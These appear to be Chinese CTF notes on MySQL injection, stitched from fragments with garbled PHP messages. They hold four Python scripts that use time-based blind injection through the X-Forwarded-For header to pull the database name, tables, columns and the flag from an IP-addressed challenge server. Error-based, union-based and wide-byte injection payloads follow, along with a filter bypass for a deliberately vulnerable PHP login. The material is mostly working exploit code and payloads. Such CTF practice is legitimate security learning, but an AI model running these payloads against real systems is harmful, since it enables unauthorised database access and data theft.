url = 'http://120.24.86.145:8002/web15/' allString = '''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM''' database = '' flag = 1 for i in range(1,10): for j in allString: header = { "X-Forwarded-For":"1'+(select case when (ascii(substr(database() from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j)) } r = requests.get(url,headers=header) t = r.elapsed.total_seconds() print('the time of '+j+' is '+str(t)) if t >= 3: database = database + j print('the '+str(i)+' place of database is '+j) break elif t < 3and j == 'M': flag = 0 break if flag == 0 : break print('database:',database)
url = 'http://120.24.86.145:8002/web15/' allString = '''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM''' table_name = '' flag = 1 for i in range(1,20): for j in allString: header = { "X-Forwarded-For":"1'+(select case when (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j)) } r = requests.get(url,headers=header) t = r.elapsed.total_seconds() print('the time of '+j+' is '+str(t)) if t >= 3and t < 4: table_name = table_name + j print('the '+str(i)+' place of table_name is '+j) break elif t < 3and j == 'M': flag = 0 break if flag == 0 : break print('table_name:',table_name)
url = 'http://120.24.86.145:8002/web15/' allString = '''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM''' column_name = '' flag = 1 for i in range(1,20): for j in allString: header = { "X-Forwarded-For":"1'+(select case when (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j)) } r = requests.get(url,headers=header) t = r.elapsed.total_seconds() print('the time of '+j+' is '+str(t)) if t >= 3and t < 4: column_name = column_name + j print('the '+str(i)+' place of table_name is '+j) break elif t < 3and j == 'M': flag = 0 break if flag == 0 : break print('column_name:',column_name)
url = 'http://120.24.86.145:8002/web15/' allString = '''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM''' flag = '' f = 1 for i in range(1,30): for j in allString: header = { "X-Forwarded-For":"1'+(select case when (ascii(substr((select flag from flag) from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j)) } r = requests.get(url,headers=header) t = r.elapsed.total_seconds() print('the time of '+j+' is '+str(t)) if t >= 3and t < 4: flag = flag + j print('the '+str(i)+' place of table_name is '+j) break elif t < 3and j == 'M': f = 0 break if f == 0 : break print('flag:',flag)
//1.报错注入 mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'
mysql> SELECT host FROM mysql.user ORDER BY 1 LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY updatexml(1, concat(0x3A, version()), 1))); ERROR 1105 (HY000): XPATH syntax error: ':5.5'
//2.时间盲注,注意此时不能使用sleep SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
//注:以上出现version()的地方都可以用想用的SQL语句替换
0x04 利用insert,update和delete注入获取数据
闭合形式:
1 2 3 4 5 6 7
' or (payload) or ' ' and (payload) and ' ' or (payload) and ' ' or (payload) and '=' '* (payload) *' ' or (payload) and ' " – (payload) – "
利用方式:
利用updatexml()获取数据
利用extractvalue()获取数据
利用name_const()获取数据
注意:
如果显示ERROR 1210 (HY000): Incorrect arguments to NAME_CONST,那就洗洗睡吧。。
如果显示ERROR 1060 (42S21): Duplicate column name ‘2’,就可以进一步获取更多数据。
?id=-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 0x7361652d6368696e616c6f766572)%23
注: group_concat()是将某个字段的所有值打印在一起,方便一行输出。
1 2 3 4 5
mysql> select group_concat(name) from aa; +-------------------+ |group_concat(name) | +-------------------+ |10,20,20|
有四个:ctf,ctf2,ctf3,ctf4,news,爆列名
1
?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 0x7361652d6368696e616c6f766572 and table_name=0x63746634)%23
ctf4里有id,flag,flag应该就在这里
1
?id=-1%df' union select 1,(select group_concat(id,flag) from ctf4)%23
可以看到构造爆错后常规注入即可。
0x08 MD5加密后的SQLi
目标语句:
1
"select * from admin where password='".md5($pass,true)."'"
functionAttackFilter($StrKey,$StrValue,$ArrReq){ if (is_array($StrValue)){ $StrValue=implode($StrValue); } if (preg_match("/".$ArrReq."/is",$StrValue)==1){ print"姘村彲杞借垷锛屼害鍙禌鑹囷紒"; exit(); } }
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"; foreach($_POST as $key=>$value){ AttackFilter($key,$value,$filter); }
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX"); if (!$con){ die('Could not connect: ' . mysql_error()); } $db="XXXXXX"; mysql_select_db($db, $con); #$sql="SELECT * FROM interest WHERE uname = '' or 1=1 group by pwd with rollup limit 1 offset 2 #'"; $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'"; $query = mysql_query($sql); if (mysql_num_rows($query) == 1) { $key = mysql_fetch_array($query); if($key['pwd'] == $_POST['pwd']) { print"CTF{XXXXXX}"; }else{ print"浜﹀彲璧涜墖锛�"; } }else{ print"涓€棰楄禌鑹囷紒"; } mysql_close($con); ?>
获取flag需要满足mysql_num_rows($query) == 1和$key['pwd'] == $_POST['pwd'],后者使用group by pwd with rollup在查询结果中加上一行,且pwd字段的值为NULL,以此绕过$key['pwd'] == $_POST['pwd']过滤,则使用limit # offset #来满足mysql_num_rows($query) == 1,fuzz出limit 1 offset 2
payload
1
' or 1=1 group by pwd with rollup limit 1 offset 2 #
test
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
MariaDB [test]> select text from article group by NULL with rollup limit 1 offset 2 ; Empty set (0.00 sec)
MariaDB [test]> select * from article; +---------+-----------------------------------------------------+ | id | text | +---------+-----------------------------------------------------+ | 1 | guess what? | | 3 | you can test it with sqli | | 2 | dudulu | | 4 | The choice of the stone gate of all dead destinies! | | 5 | ??? ??? | | 8848 | you want by a phone? | | 9588 | you will be lucky | | 1245123 | flag{37316894c36cb32d2ca3f7d3add88024} | +---------+-----------------------------------------------------+ 8 rows in set (0.00 sec)
MariaDB [test]> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x; ERROR 1062 (23000): Duplicate entry '10.1.36-MariaDB1' for key 'group_key'